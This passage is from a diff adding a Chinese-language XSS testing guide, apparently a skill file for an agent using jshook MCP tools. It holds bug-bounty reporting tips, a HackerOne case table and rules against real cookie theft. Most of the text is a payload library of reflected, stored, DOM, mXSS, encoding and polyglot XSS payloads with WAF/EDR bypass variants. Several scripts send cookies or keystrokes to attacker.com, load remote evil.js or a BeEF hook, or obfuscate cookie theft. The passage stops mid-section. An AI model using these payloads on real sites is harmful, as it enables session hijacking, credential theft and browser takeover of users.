+ | CSP | `script-src 'self'` 时找 jsonp endpoint / unsafe-eval / dangling markup |
202
+
203
+ ### CSP 绕过常见思路
204
+
205
+ ```
206
+ 1. CSP 含 'unsafe-inline' → 直接 inline script
207
+ 2. CSP 含 'unsafe-eval' → eval / Function
208
+ 3. CSP 含 jsonp 友好域 → <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.0.0/angular.js"></script>
209
+ 4. nonce 静态 → 复用
210
+ 5. base-uri 缺 → <base href="//attacker.com">
211
+ 6. dangling markup(无脚本)→ <img src='//attacker.com/?
212
+ ```
213
+
214
+ ---
215
+
216
+ ## 5. 利用提权 / 横向
217
+
218
+ ```
219
+ 反射 XSS → 钓鱼链接 → cookie 偷取(无 HttpOnly)
220
+ 存储 XSS → 后台 admin 触发 → 偷 cookie / CSRF / 改密码 / 读页面
221
+ DOM XSS → 同上
222
+ mXSS → 复制粘贴 / 邮件预览触发
223
+
224
+ → SRC 报告时不要做实际钓鱼。仅 alert(1) 弹窗 / cookie/document.domain 截图 即可
225
+ ```
226
+
227
+ ### 配合升级
228
+
229
+ ```
230
+ 反射 XSS + Self-XSS(自己后台只能给自己看) → 配合 CSRF 让别人帮触发 → P0
231
+ 存储 XSS + 后台 → 后台沦陷 → P0
232
+ DOM XSS + postMessage → 跨域读 → P0
233
+ ```
234
+
235
+ ---
236
+
237
+ ## 6. 真实案例指纹
238
+
239
+ | 类型 | 案例 |
240
+ |------|------|
241
+ | 存储 XSS | 大街网(蠕虫)、某社交(蠕虫) |
242
+ | 反射 XSS | 开心网、某搜索引擎贴吧 |
243
+ | DOM XSS | 某互联网公司 document.domain、某社交 Flash htmlText |
244
+ | Flash XSS | 音悦台 LSO Rootkit、某邮箱 crossdomain.xml |
245
+ | mXSS | 某社交邮箱、某邮箱 |
246
+ | 盲打 | 苏宁、成都公安、快速问医生(管理员触发) |
247
+
248
+ 通用指纹:
249
+ - 输入 `<svg onload=alert(1)>` 显示在 DOM 中(F12 看 elements) → 命中
250
+ - 浏览器 alert 弹窗 → 命中
251
+ - HTML 中含 `<script>` 包裹的不可信数据 → 模板渲染缺转义
252
+
253
+ ---
254
+
255
+ ## 7. 复现 / 证据要点
256
+
257
+ ### 7.1 PoC 必备
258
+
259
+ 1. 触发 URL(含 payload)
260
+ 2. **alert 弹窗截图**(含 URL bar)
261
+ 3. DOM 内 payload 截图(F12)
262
+ 4. 不同浏览器测试结果(Chrome / Firefox / Safari,至少 2 个)
263
+ 5. CSP / X-XSS-Protection 头分析
264
+
265
+ ### 7.2 模板
266
+
267
+ ```http
268
+ GET /search?q=%3Csvg%20onload%3Dalert(document.domain)%3E HTTP/1.1
269
+ Host: target.com
270
+
271
+ → HTML 响应中:
272
+ <div class="search-result">您搜索的内容:<svg onload=alert(document.domain)></div>
273
+
274
+ → 浏览器执行 alert,弹出:target.com
275
+ ```
276
+
277
+ ### 7.3 CVSS
278
+
279
+ ```
280
+ 存储 XSS(管理后台) = 6.1–8.0
281
+ 存储 XSS(用户互看) = 6.1
282
+ 反射 XSS(无认证) = 6.1
283
+ DOM XSS = 6.1
284
+ Self-XSS(自己看自己) = 通常拒收
285
+ mXSS / 邮件预览 = 6.5–8.1
286
+ 盲打成功(admin 触发) = 7.5–8.5
287
+ ```
288
+
289
+ ### 7.4 影响段
290
+
291
+ ```
292
+ 通过 /search 接口的 q 参数,攻击者可注入 HTML/JS 代码并在受害者浏览器执行。
293
+ 该参数无认证可访问,CSP 仅设 default-src 'self',未限制 inline。
294
+
295
+ 实际可:
296
+ 1. 偷取受害者会话 cookie(无 HttpOnly 时)
297
+ 2. 触发 CSRF 完成敏感操作
298
+ 3. 钓鱼到伪造登录页
299
+
300
+ 测试时仅用 alert(document.domain) 弹窗证明,未尝试任何 cookie 偷取。
301
+ ```
302
+
303
+ ---
304
+
305
+ ## 相关 MCP 工具
306
+
307
+ 实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
308
+
309
+ | 工具 | 域 | 调用时机 |
310
+ |---|---|---|
311
+ | `mcp__jshook__browser_evaluate_cdp_target` | browser | 在受害域执行 payload 验证 DOM XSS / 盲打 |
312
+ | `mcp__jshook__ast_transform_apply` | transform | 反混淆混淆 JS / AST 改写还原 sink |
313
+ | `mcp__jshook__debugger_pause` + `mcp__jshook__get_call_stack` | debugger | 设断点追踪 sink 调用链 |
314
+ | `mcp__jshook__hook_preset` | hooks | 装 eval / atob / Function preset,捕获运行时反序列化 |
315
+ | `mcp__jshook__sourcemap_reconstruct_tree` | sourcemap | 还原原始源码定位 sink |
316
+
317
+ 完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
318
+
319
+ ## 8. 不要做的事
320
+
321
+ - **禁**:实际偷取真实用户 cookie / token。Self-cookie 演示即可。
322
+ - **禁**:用存储 XSS 在公开评论区埋 payload(其他人会触发)。在自己控制的位置(自己的留言、自己的资料)测。
323
+ - **禁**:盲打到陌生管理员的 cookie 后用它登录。仅证明回调收到,截图后立即作废。
324
+ - **禁**:构造真实钓鱼页面(伪造登录)。
325
+ - **禁**:批量蠕虫式传播(一个朋友圈或全平台)。
326
+ - **报告中**:cookie / token 必须脱敏到只剩 head/tail。
327
+
328
+ ## H1 真实案例
329
+
330
+ _共 335 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
331
+
332
+ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
333
+ |---|--:|---|---|---|
334
+ | High | — | GitLab | [Stored XSS in Wiki pages](https://hackerone.com/reports/526325) | Summary I found Stored XSS using Wiki-specific Hierarchical link Markdown in Wiki pages |
335
+ | Critical | 7500 usd | Valve | [XSS in steam react chat client](https://hackerone.com/reports/409850) | The Steam chat client both sends and receives bbcode format chat messages |
336
+ | High | — | Grab | [[Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure](https://hackerone.com/reports/401793) | [Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure |
337
+ | Critical | 16000 usd | GitLab | [Stored XSS in markdown via the DesignReferenceFilter](https://hackerone.com/reports/1212067) | Summary When rendering markdown, links to designs are parsed using the following `link_reference_pattern`: https://gitlab.com/g… |
338
+ | High | — | TikTok | [Cross-Site-Scripting on www.tiktok.com and m.tiktok.com leading to Data Exfiltration](https://hackerone.com/reports/968082) | Cross-Site-Scripting on www.tiktok.com and m.tiktok.com leading to Data Exfiltration |
339
+ | Critical | 1000 usd | CS Money | [Blind XSS on image upload](https://hackerone.com/reports/1010466) | Summary: The CSRF vulnerability make a request for support.cs.money/upload_file; This upload_file does not have csrf token/ ori… |
340
+ | High | 5000 usd | Reddit | [[accounts.reddit.com] Redirect parameter allows for XSS](https://hackerone.com/reports/1962645) | Summary: Hello team! I was tampering with the dest parameter in accounts.reddit.com and found out it is vulnerable to Cross Sit… |
341
+ | High | 13950 usd | GitLab | [Stored XSS via Kroki diagram](https://hackerone.com/reports/1731349) | Summary If Kroki has been enabled, it's possible to craft a `pre` block so that arbitrary attributes can be injected into the r… |
342
+ | Critical | 5000 usd | Basecamp | [HEY.com email stored XSS](https://hackerone.com/reports/982291) | An attacker can bypass the HEY.com HTML sanitizer and inject arbitrary unsafe HTML in emails |
343
+ | High | — | WordPress | [Stored XSS Vulnerability](https://hackerone.com/reports/643908) | Hi there, I found a stored xss @ https://core.trac.wordpress.org/ Steps: 1 |
344
+ | Critical | — | X / xAI | [Blind XSS on Twitter's internal Big Data panel at █████████████](https://hackerone.com/reports/1207040) | Blind XSS on Twitter's internal Big Data panel at █████████████ |
345
+
346
+ **命中本类的 weakness 分布:**
347
+
348
+ - Cross-site Scripting (XSS) - Stored:166 条
349
+ - Cross-site Scripting (XSS) - Generic:74 条
350
+ - Cross-site Scripting (XSS) - Reflected:51 条
351
+ - Cross-site Scripting (XSS) - DOM:29 条
352
+ - Uncategorized → 手工归类:12 条
353
+ - Reflected XSS:1 条
354
+ - Improper Neutralization of HTTP Headers for Scripting Syntax:1 条
355
+ - Cross-Site Scripting (XSS):1 条
356
+
357
+
358
+ ## Payload 库
359
+
360
+ _12 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
361
+
362
+ ### 反射型XSS `xss-reflected`
363
+ 反射型跨站脚本攻击技术
364
+ 子类:**反射型** · tags: `xss` `reflected` `javascript`
365
+
366
+ **前置条件:** 存在用户输入反射到页面;输入未经过滤或编码
367
+
368
+ **攻击链:**
369
+
370
+ **1. 1. 探测XSS注入点**
371
+ _基础XSS探测_
372
+ ```
373
+ <script>alert(1)</script>
374
+ <img src=x onerror=alert(1)>
375
+ <svg onload=alert(1)>
376
+ " onfocus=alert(1) autofocus "
377
+ ```
378
+
379
+ **2. 2. 事件处理器绕过**
380
+ _使用各种事件处理器_
381
+ ```
382
+ <img src=x onerror=alert(1)>
383
+ <body onload=alert(1)>
384
+ <input onfocus=alert(1) autofocus>
385
+ <marquee onstart=alert(1)>
386
+ <video><source onerror=alert(1)>
387
+ <audio src=x onerror=alert(1)>
388
+ ```
389
+
390
+ **3. 3. 标签绕过**
391
+ _大小写混淆和标签变形_
392
+ ```
393
+ <ScRiPt>alert(1)</ScRiPt>
394
+ <IMG SRC=x OnErRoR=alert(1)>
395
+ <svg/onload=alert(1)>
396
+ <details/open/ontoggle=alert(1)>
397
+ ```
398
+
399
+ **4. 4. 窃取Cookie**
400
+ _窃取用户Cookie_
401
+ ```
402
+ <script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>
403
+ <script>fetch("http://attacker.com/steal?c="+document.cookie)</script>
404
+ <script>location="http://attacker.com/steal?c="+document.cookie</script>
405
+ ```
406
+
407
+ **5. 5. 键盘记录**
408
+ _记录用户键盘输入_
409
+ ```
410
+ <script>
411
+ document.onkeypress=function(e){
412
+ fetch("http://attacker.com/log?key="+e.key)
413
+ }
414
+ </script>
415
+ ```
416
+
417
+ **WAF/EDR 绕过变体:**
418
+
419
+ **1. HTML实体编码**
420
+ _使用HTML实体编码绕过_
421
+ ```
422
+ <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
423
+ <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
424
+ ```
425
+
426
+ **2. Unicode编码**
427
+ _使用Unicode编码绕过_
428
+ ```
429
+ <script>\u0061lert(1)</script>
430
+ <img src=x onerror=\u0061lert(1)>
431
+ ```
432
+
433
+ **3. 双写绕过**
434
+ _双写绕过关键字删除_
435
+ ```
436
+ <scr<script>ipt>alert(1)</scr</script>ipt>
437
+ <imimgg src=x onerror=alert(1)>
438
+ ```
439
+
440
+ **4. 注释混淆**
441
+ _使用注释混淆_
442
+ ```
443
+ <script>/**/alert(1)/**/</script>
444
+ <img src=x/**/onerror=alert(1)>
445
+ <svg on<!--test-->load=alert(1)>
446
+ ```
447
+
448
+ ---
449
+
450
+ ### 存储型XSS `xss-stored`
451
+ 存储型跨站脚本攻击技术
452
+ 子类:**存储型** · tags: `xss` `stored` `persistent`
453
+
454
+ **前置条件:** 存在数据存储功能;存储数据未经过滤显示
455
+
456
+ **攻击链:**
457
+
458
+ **1. 1. 探测存储点**
459
+ _探测存储型XSS_
460
+ ```
461
+ 在评论区、用户名、个人简介等处输入:
462
+ <script>alert(1)</script>
463
+ "><script>alert(1)</script>
464
+ 测试是否存储并执行
465
+ ```
466
+
467
+ **2. 2. 隐蔽Payload**
468
+ _使用隐蔽的XSS payload_
469
+ ```
470
+ <img src=x onerror=alert(1) style="display:none">
471
+ <svg/onload=alert(1) style="position:absolute;left:-9999px">
472
+ <div style="background:url(javascript:alert(1))">
473
+ ```
474
+
475
+ **3. 3. 持久化控制**
476
+ _加载外部恶意脚本_
477
+ ```
478
+ <script>
479
+ if(!window.xss_loaded){
480
+ window.xss_loaded=true;
481
+ var s=document.createElement("script");
482
+ s.src="http://attacker.com/evil.js";
483
+ document.body.appendChild(s);
484
+ }
485
+ </script>
486
+ ```
487
+
488
+ **4. 4. BeEF Hook**
489
+ _使用BeEF框架控制浏览器_
490
+ ```
491
+ <script src="http://beef-server:3000/hook.js"></script>
492
+ 或:
493
+ <script>
494
+ var s=document.createElement("script");
495
+ s.src="http://beef-server:3000/hook.js";
496
+ document.body.appendChild(s);
497
+ </script>
498
+ ```
499
+
500
+ **WAF/EDR 绕过变体:**
501
+
502
+ **1. SVG标签绕过**
503
+ _使用SVG标签绕过_
504
+ ```
505
+ <svg><script>alert(1)</script></svg>
506
+ <svg><animate onbegin=alert(1)>
507
+ <svg><set onbegin=alert(1)>
508
+ ```
509
+
510
+ **2. Math标签绕过**
511
+ _使用MathML标签_
512
+ ```
513
+ <math><maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)">click</maction></math>
514
+ ```
515
+
516
+ ---
517
+
518
+ ### DOM型XSS `xss-dom`
519
+ 基于DOM的跨站脚本攻击
520
+ 子类:**DOM型** · tags: `xss` `dom` `javascript`
521
+
522
+ **前置条件:** 存在JavaScript动态操作DOM;用户输入直接写入DOM
523
+
524
+ **攻击链:**
525
+
526
+ **1. 1. 探测DOM XSS**
527
+ _探测DOM型XSS_
528
+ ```
529
+ #<script>alert(1)</script>
530
+ ?param=<img src=x onerror=alert(1)>
531
+ 检查location.hash、location.search等是否直接写入DOM
532
+ ```
533
+
534
+ **2. 2. 常见Sink点**
535
+ _常见的DOM XSS Sink点_
536
+ ```
537
+ document.write(location.hash)
538
+ innerHTML = location.search
539
+ eval(location.hash)
540
+ setTimeout(location.hash, 0)
541
+ jQuery(html)
542
+ $(location.hash)
543
+ ```
544
+
545
+ **3. 3. location.hash利用**
546
+ _利用location.hash_
547
+ ```
548
+ URL: http://target.com/#<img src=x onerror=alert(1)>
549
+ 如果页面有: document.write(location.hash)
550
+ 则触发XSS
551
+ ```
552
+
553
+ **4. 4. postMessage利用**
554
+ _利用postMessage_
555
+ ```
556
+ window.addEventListener("message", function(e){
557
+ document.getElementById("output").innerHTML = e.data;
558
+ });
559
+ 攻击页面:
560
+ targetWindow.postMessage("<img src=x onerror=alert(1)>", "*");
561
+ ```
562
+
563
+ **WAF/EDR 绕过变体:**
564
+
565
+ **1. javascript:协议变体绕过**
566
+ _使用大小写混淆、HTML实体编码、制表符插入等方式绕过javascript:协议过滤_
567
+ ```
568
+ javascript:alert(1)
569
+ javascript :alert(1)
570
+ jaVaScRiPt:alert(1)
571
+ &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
572
+ <a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)">click</a>
573
+ ```
574
+
575
+ **2. SVG/MathML标签与事件处理器绕过**
576
+ _利用SVG、MathML等非标准HTML标签及冷门事件处理器(ontoggle、onpageshow)绕过标签和事件黑名单_
577
+ ```
578
+ <svg onload=alert(1)>
579
+ <svg/onload=alert(1)>
580
+ <math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
581
+ <details open ontoggle=alert(1)>
582
+ <body onpageshow=alert(1)>
583
+ <input onfocus=alert(1) autofocus>
584
+ ```
585
+
586
+ ---
587
+
588
+ ### CSP绕过 `xss-csp-bypass`
589
+ 绕过内容安全策略(CSP)的XSS技术
590
+ 子类:**CSP绕过** · tags: `xss` `csp` `bypass`
591
+
592
+ **前置条件:** 存在XSS漏洞;存在CSP策略但配置不当
593
+
594
+ **攻击链:**
595
+
596
+ **1. 1. 分析CSP策略**
597
+ _分析CSP配置_
598
+ ```
599
+ 查看HTTP响应头:
600
+ Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
601
+ 或使用CSP Evaluator工具分析
602
+ ```
603
+
604
+ **2. 2. 利用unsafe-inline**
605
+ _利用unsafe-inline配置_
606
+ ```
607
+ 如果CSP包含unsafe-inline:
608
+ <script>alert(1)</script>
609
+ 可以直接执行内联脚本
610
+ ```
611
+
612
+ **3. 3. 利用unsafe-eval**
613
+ _利用unsafe-eval配置_
614
+ ```
615
+ 如果CSP包含unsafe-eval:
616
+ <script>eval("alert(1)")</script>
617
+ <script>setTimeout("alert(1)", 0)</script>
618
+ 可以使用eval等函数
619
+ ```
620
+
621
+ **4. 4. JSONP绕过**
622
+ _利用JSONP绕过_
623
+ ```
624
+ 如果允许的域名有JSONP端点:
625
+ <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
626
+ 利用JSONP回调执行代码
627
+ ```
628
+
629
+ **5. 5. AngularJS绕过**
630
+ _利用AngularJS绕过CSP_
631
+ ```
632
+ 如果允许了AngularJS CDN:
633
+ <div ng-app ng-csp>
634
+ <div ng-focus="$event.path|orderBy:'[].constructor.from([alert(1)])'" tabindex=0>
635
+ </div>
636
+ </div>
637
+ ```
638
+
639
+ **6. 6. Dangling Markup**
640
+ _利用悬挂标记窃取数据_
641
+ ```
642
+ <img src='http://attacker.com/?
643
+ 捕获后续HTML内容直到遇到单引号
644
+ ```
645
+
646
+ **WAF/EDR 绕过变体:**
647
+
648
+ **1. JSONP端点劫持CSP**
649
+ _利用CSP白名单域上的JSONP回调端点或AngularJS库执行任意JavaScript,无需unsafe-inline_
650
+ ```
651
+ # 寻找白名单域上的JSONP端点:
652
+ <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
653
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script>
654
+ <div ng-app ng-csp>{{$eval.constructor("alert(1)")()}}</div>
655
+ ```
656
+
657
+ **2. base-uri劫持与script nonce泄露**
658
+ _利用CSP未限制base-uri指令劫持脚本加载源,或通过CSS注入/DOM接口泄露script nonce值_
659
+ ```
660
+ # base-uri未限制时:
661
+ <base href="http://attacker.com/">
662
+ # 页面中相对路径的脚本将从attacker.com加载
663
+
664
+ # nonce泄露利用:
665
+ # 通过CSS注入窃取nonce:
666
+ <style>script[nonce^="a"]{background:url(http://attacker.com/?n=a)}</style>
667
+ # 或通过DOM读取: document.querySelector("script[nonce]").nonce
668
+ ```
669
+
670
+ ---
671
+
672
+ ### 突变型XSS(mXSS) `xss-mxss`
673
+ 利用浏览器解析差异导致的XSS攻击
674
+ 子类:**突变型** · tags: `xss` `mxss` `mutation` `bypass`
675
+
676
+ **前置条件:** 存在HTML输出点;浏览器解析差异
677
+
678
+ **攻击链:**
679
+
680
+ **1. 1. 基础mXSS探测**
681
+ _利用noscript标签解析差异_
682
+ ```
683
+ <noscript><p title="</noscript><img src=x onerror=alert(1)>">
684
+ ```
685
+
686
+ **2. 2. SVG mXSS**
687
+ _SVG CDATA突变_
688
+ ```
689
+ <svg><![CDATA[<img src=x onerror=alert(1)>]]></svg>
690
+ <svg><script><![CDATA[alert(1)]]></script></svg>
691
+ ```
692
+
693
+ **3. 3. Math mXSS**
694
+ _MathML突变XSS_
695
+ ```
696
+ <math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
697
+ ```
698
+
699
+ **4. 4. DOM clobbering配合**
700
+ _利用DOM clobbering_
701
+ ```
702
+ <form id=x></form><form id=x><img src=x onerror=alert(1)></form>
703
+ ```
704
+
705
+ **WAF/EDR 绕过变体:**
706
+
707
+ **1. 嵌套标签绕过**
708
+ _SVG内脚本编码绕过_
709
+ ```
710
+ <svg><script>&#97;lert(1)</script></svg>
711
+ <svg><script>a&#108;ert(1)</script></svg>
712
+ ```
713
+
714
+ ---
715
+
716
+ ### Unicode XSS `xss-unicode`
717
+ 利用Unicode编码特性绕过过滤
718
+ 子类:**Unicode编码** · tags: `xss` `unicode` `encoding` `bypass`
719
+
720
+ **前置条件:** 存在XSS注入点;过滤器检查关键字
721
+
722
+ **攻击链:**
723
+
724
+ **1. 1. Unicode转义**
725
+ _JavaScript Unicode转义_
726
+ ```
727
+ <script>\u0061lert(1)</script>
728
+ <script>\x61lert(1)</script>
729
+ <script>\u{61}lert(1)</script>
730
+ ```
731
+
732
+ **2. 2. HTML实体编码**
733
+ _HTML十进制/十六进制实体_
734
+ ```
735
+ <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
736
+ <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
737
+ ```
738
+
739
+ **3. 3. Unicode规范化攻击**
740
+ _利用Unicode规范化_
741
+ ```
742
+ 使用规范化等效字符:
743
+ <script>alert(1)</script>
744
+ 使用全角字符绕过
745
+ ```
746
+
747
+ **4. 4. UTF-7编码**
748
+ _UTF-7编码XSS_
749
+ ```
750
+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
751
+ 需要页面使用UTF-7编码
752
+ ```
753
+
754
+ **WAF/EDR 绕过变体:**
755
+
756
+ **1. 混合编码绕过**
757
+ _混合多种编码方式_
758
+ ```
759
+ <img src=x onerror=\u0061&#108;ert(1)>
760
+ <img src=x onerror="\u0061lert`1`">
761
+ ```
762
+
763
+ **2. 过长UTF-8编码**
764
+ _利用服务器UTF-8解析差异_
765
+ ```
766
+ <img src=x onerror=alert(1)>
767
+ 使用非最短UTF-8编码形式
768
+ ```
769
+
770
+ ---
771
+
772
+ ### XSS过滤器绕过 `xss-filter-bypass`
773
+ 各种绕过XSS过滤器的技术
774
+ 子类:**过滤器绕过** · tags: `xss` `filter` `bypass` `waf`
775
+
776
+ **前置条件:** 存在XSS注入点;存在过滤机制
777
+
778
+ **攻击链:**
779
+
780
+ **1. 1. 大小写混淆**
781
+ _混合大小写绕过_
782
+ ```
783
+ <ScRiPt>alert(1)</ScRiPt>
784
+ <IMG SRC=x OnErRoR=alert(1)>
785
+ <SvG OnLoAd=alert(1)>
786
+ ```
787
+
788
+ **2. 2. 双写绕过**
789
+ _双写绕过关键字删除_
790
+ ```
791
+ <scr<script>ipt>alert(1)</scr</script>ipt>
792
+ <imimgg src=x onerror=alert(1)>
793
+ ```
794
+
795
+ **3. 3. 注释混淆**
796
+ _使用注释混淆_
797
+ ```
798
+ <script>/**/alert(1)/**/</script>
799
+ <img src=x/**/onerror=alert(1)>
800
+ <svg on<!--test-->load=alert(1)>
801
+ ```
802
+
803
+ **4. 4. 空字节截断**
804
+ _空字节截断绕过_
805
+ ```
806
+ <scr\x00ipt>alert(1)</script>
807
+ <img src=x onerror=alert\x00(1)>
808
+ ```
809
+
810
+ **5. 5. 标签属性绕过**
811
+ _利用空白字符绕过_
812
+ ```
813
+ <img src=x onerror=alert(1)>
814
+ <img src=x onerror =alert(1)>
815
+ <img src=x onerror =alert(1)>
816
+ <img src=x onerror
817
+ =alert(1)>
818
+ ```
819
+
820
+ **6. 6. 事件处理器变体**
821
+ _使用少见的事件处理器_
822
+ ```
823
+ <body onpageshow=alert(1)>
824
+ <input onfocus=alert(1) autofocus>
825
+ <marquee onstart=alert(1)>
826
+ <video><source onerror=alert(1)>
827
+ <details open ontoggle=alert(1)>
828
+ <audio src=x onerror=alert(1)>
829
+ ```
830
+
831
+ **WAF/EDR 绕过变体:**
832
+
833
+ **1. Data URI绕过**
834
+ _使用Data URI_
835
+ ```
836
+ <a href="data:text/html,<script>alert(1)</script>">click</a>
837
+ <iframe src="data:text/html,<script>alert(1)</script>">
838
+ ```
839
+
840
+ **2. SVG动画绕过**
841
+ _SVG动画事件_
842
+ ```
843
+ <svg><animate onbegin=alert(1)>
844
+ <svg><set onbegin=alert(1)>
845
+ ```
846
+
847
+ ---
848
+
849
+ ### XSS编码绕过 `xss-encoding`
850
+ 利用各种编码技术绕过XSS过滤
851
+ 子类:**编码绕过** · tags: `xss` `encoding` `bypass`
852
+
853
+ **前置条件:** 存在XSS注入点;存在编码处理
854
+
855
+ **攻击链:**
856
+
857
+ **1. 1. URL编码**
858
+ _URL编码绕过_
859
+ ```
860
+ <img src=x onerror=%61lert(1)>
861
+ %3Cscript%3Ealert(1)%3C/script%3E
862
+ ```
863
+
864
+ **2. 2. HTML实体编码**
865
+ _HTML实体编码_
866
+ ```
867
+ <img src=x onerror=&#97;lert(1)>
868
+ <img src=x onerror=&#x61;lert(1)>
869
+ &lt;script&gt;alert(1)&lt;/script&gt;
870
+ ```
871
+
872
+ **3. 3. JavaScript编码**
873
+ _JavaScript编码_
874
+ ```
875
+ <img src=x onerror="\u0061lert(1)">
876
+ <img src=x onerror="\x61lert(1)">
877
+ <img src=x onerror="eval(atob('YWxlcnQoMSk='))">
878
+ ```
879
+
880
+ **4. 4. CSS编码**
881
+ _CSS编码(旧版IE)_
882
+ ```
883
+ <style>body{background:url("javascript:alert(1)")}</style>
884
+ <div style="x:expression(alert(1))">
885
+ ```
886
+
887
+ **5. 5. 混合编码**
888
+ _混合多种编码_
889
+ ```
890
+ <img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">
891
+ <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>
892
+ ```
893
+
894
+ **WAF/EDR 绕过变体:**
895
+
896
+ **1. 双重URL编码**
897
+ _双重URL编码_
898
+ ```
899
+ %253Cscript%253Ealert(1)%253C/script%253E
900
+ 服务器解码两次时使用
901
+ ```
902
+
903
+ **2. UTF-16编码**
904
+ _UTF-16编码绕过_
905
+ ```
906
+ %00%3C%00s%00c%00r%00i%00p%00t%00%3Ealert(1)%00%3C/s%00c%00r%00i%00p%00t%00%3E
907
+ ```
908
+
909
+ ---
910
+
911
+ ### Polyglot XSS `xss-polyglot`
912
+ 多环境通用的XSS payload
913
+ 子类:**Polyglot** · tags: `xss` `polyglot` `universal`
914
+
915
+ **前置条件:** 存在XSS注入点;不确定具体环境
916
+
917
+ **攻击链:**
918
+
919
+ **1. 1. 经典Polyglot**
920
+ _经典多环境Polyglot_
921
+ ```
922
+ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
923
+ ```
924
+
925
+ **2. 2. 短Polyglot**
926
+ _短版本Polyglot_
927
+ ```
928
+ '"-->]]>*/</script></style></title></textarea><script>alert(1)</script>
929
+ ```
930
+
931
+ **3. 3. 属性注入Polyglot**
932
+ _属性值注入Polyglot_
933
+ ```
934
+ 'onmouseover=alert(1) x='
935
+ "onfocus=alert(1) autofocus x="
936
+ 'onclick=alert(1)//
937
+ ```
938
+
939
+ **4. 4. URL参数Polyglot**
940
+ _URL参数Polyglot_
941
+ ```
942
+ javascript:alert(1)//http://
943
+ data:text/html,<script>alert(1)</script>
944
+ ```
945
+
946
+ **WAF/EDR 绕过变体:**
947
+
948
+ **1. 高级Polyglot**
949
+ _简洁高效Polyglot_
950
+ ```
951
+ -->'"<svg onload=alert(1)>"><script>alert(1)</script>
952
+ ```
953
+
954
+ ---
955
+
956
+ ### XSS Cookie窃取 `xss-cookie-theft`
957
+ 利用XSS窃取用户Cookie
958
+ 子类:**Cookie窃取** · tags: `xss` `cookie` `theft` `session`
959
+
960
+ **前置条件:** 存在XSS漏洞;Cookie未设置HttpOnly
961
+
962
+ **攻击链:**
963
+
964
+ **1. 1. 基础Cookie窃取**
965
+ _使用Image对象发送Cookie_
966
+ ```
967
+ <script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>
968
+ ```
969
+
970
+ **2. 2. Fetch API窃取**
971
+ _使用Fetch/Beacon API_
972
+ ```
973
+ <script>fetch("http://attacker.com/steal?c="+document.cookie)</script>
974
+ <script>navigator.sendBeacon("http://attacker.com/steal", document.cookie)</script>
975
+ ```
976
+
977
+ **3. 3. XMLHttpRequest窃取**
978
+ _使用XHR发送_
979
+ ```
980
+ <script>
981
+ var xhr = new XMLHttpRequest();
982
+ xhr.open("GET", "http://attacker.com/steal?c="+document.cookie, true);
983
+ xhr.send();
984
+ </script>
985
+ ```
986
+
987
+ **4. 4. 编码传输**
988
+ _Base64编码传输_
989
+ ```
990
+ <script>
991
+ var data = btoa(document.cookie);
992
+ new Image().src="http://attacker.com/steal?c="+data;
993
+ </script>
994
+ ```
995
+
996
+ **5. 5. 完整利用脚本**
997
+ _收集完整信息_
998
+ ```
999
+ <script>
1000
+ var img = new Image();
1001
+ img.src = "http://attacker.com/log?cookie=" + encodeURIComponent(document.cookie) + "&location=" + encodeURIComponent(location.href) + "&ua=" + encodeURIComponent(navigator.userAgent);
1002
+ </script>
1003
+ ```
1004
+
1005
+ **WAF/EDR 绕过变体:**
1006
+
1007
+ **1. 混淆绕过**
1008
+ _变量混淆绕过_
1009
+ ```
1010
+ <script>var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"")</script>
1011
+ ```
1012
+
1013
+ ---
1014
+
1015
+ ### XSS键盘记录 `xss-keylogger`
1016
+ 利用XSS记录用户键盘输入
1017
+ 子类:**键盘记录** · tags: `xss` `keylogger` `credential`
1018
+
1019
+ **前置条件:** 存在存储型XSS;目标页面有敏感输入
1020
+
1021
+ **攻击链:**
1022
+
1023
+ **1. 1. 基础键盘记录**
1024
+ _监听键盘按键_
1025
+ ```
1026
+ <script>
1027
+ document.addEventListener("keypress", function(e){
1028
+ new Image().src = "http://attacker.com/log?key=" + e.key;
1029
+ });
1030
+ </script>
1031
+ ```
1032
+
1033
+ **2. 2. 完整键盘记录**
1034
+ _按Enter发送记录_
1035
+ ```
1036
+ <script>
1037
+ var buffer = "";
1038
+ document.addEventListener("keydown", function(e){
1039
+ if(e.key === "Enter"){
1040
+ new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(buffer);
1041
+ buffer = "";
1042
+ } else {
1043
+ buffer += e.key;
1044
+ }
1045
+ });
1046
+ </script>
1047
+ ```
1048
+
1049
+ **3. 3. 表单窃取**
1050
+ _窃取密码字段_
1051
+ ```
1052
